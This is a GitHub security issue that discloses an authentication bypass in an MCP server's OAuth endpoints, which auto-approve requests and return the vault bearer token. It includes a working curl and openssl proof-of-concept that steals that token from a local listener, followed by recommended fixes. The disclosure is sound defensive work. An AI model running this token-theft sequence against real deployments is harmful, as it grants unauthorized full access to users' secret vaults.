Skip to content

Security: OAuth flow bypasses auth — any local process can steal vault bearer token #21

@danieljustus

Description

@danieljustus

Summary

The OAuth 2.1 endpoints exposed by the MCP HTTP server (/mcp/oauth/authorize, /mcp/oauth/token) are unauthenticated, unrate-limited, and not subject to the Origin/Bearer auth chain that protects /mcp. They auto-approve any authorization request without user interaction, do not validate redirect_uri or client_id, and the /mcp/oauth/token endpoint returns the global legacy bearer token to anyone who completes a PKCE flow they constructed themselves.

Impact: Any process that can reach the MCP listener (loopback by default → any local user/process; or remote if allow_insecure_bind=true) can mint a valid bearer token and gain full vault access through /mcp. This entirely defeats the bearer-token authentication model.

Location

  • internal/mcp/serverbootstrap/oauth.go:91-140handleOAuthAuthorize
  • internal/mcp/serverbootstrap/oauth.go:145-172handleOAuthToken
  • internal/mcp/serverbootstrap/http.go:181-183 — endpoints registered without auth middleware

Proof-of-concept (local attacker)

# 1. Generate PKCE verifier / challenge
VERIFIER=$(openssl rand -hex 32)
CHALLENGE=$(printf '%s' "$VERIFIER" | openssl dgst -sha256 -binary | basenc --base64url | tr -d '=')

# 2. Get authorization code (auto-approved, no user interaction)
CODE=$(curl -s -o /dev/null -w '%{redirect_url}' \
  "http://127.0.0.1:PORT/mcp/oauth/authorize?response_type=code&client_id=x&redirect_uri=http://x/&code_challenge=$CHALLENGE&code_challenge_method=S256" \
  | sed 's/.*code=//;s/&.*//')

# 3. Exchange code for the vault bearer token
curl -s -X POST "http://127.0.0.1:PORT/mcp/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&code_verifier=$VERIFIER"
# => {"access_token":"<legacy-vault-bearer-token>","token_type":"Bearer","expires_in":0}

The attacker now has the same token that protects every vault operation.

Why it bypasses every guard

Guard Bypassed?
BearerAuthMiddleware OAuth endpoints aren't behind it
OriginValidationMiddleware Same — only /mcp is behind the chain
RateLimiterMiddleware Same
AgentHeaderMiddleware Same
PKCE Attacker generates their own verifier+challenge
redirect_uri validation None — any URI accepted
client_id validation None — anonymous public client
User consent handleOAuthAuthorize auto-redirects with the code

Recommended fix

A combination of:

  1. Require explicit user consent in handleOAuthAuthorize — surface a TTY/GUI prompt via secureui.RequestApproval before issuing a code; do not auto-redirect.
  2. Validate redirect_uri against an allowlist registered at /oauth/register time and bound to the client_id returned.
  3. Bind the code to the client_id and verify it again at the token endpoint.
  4. Do not return the legacy bearer token from /mcp/oauth/token. Instead, mint a fresh scoped ScopedToken via TokenRegistry.Create with a short TTL and a narrow AllowedTools list, and return that.
  5. Put the OAuth endpoints behind OriginValidationMiddleware so cross-origin browser fetches are rejected.

Until these are in place, MCP.allow_insecure_bind should refuse to start; even loopback-only is exploitable by any local user on a shared machine.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingpriority: urgentsecuritySecurity vulnerability or hardening

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions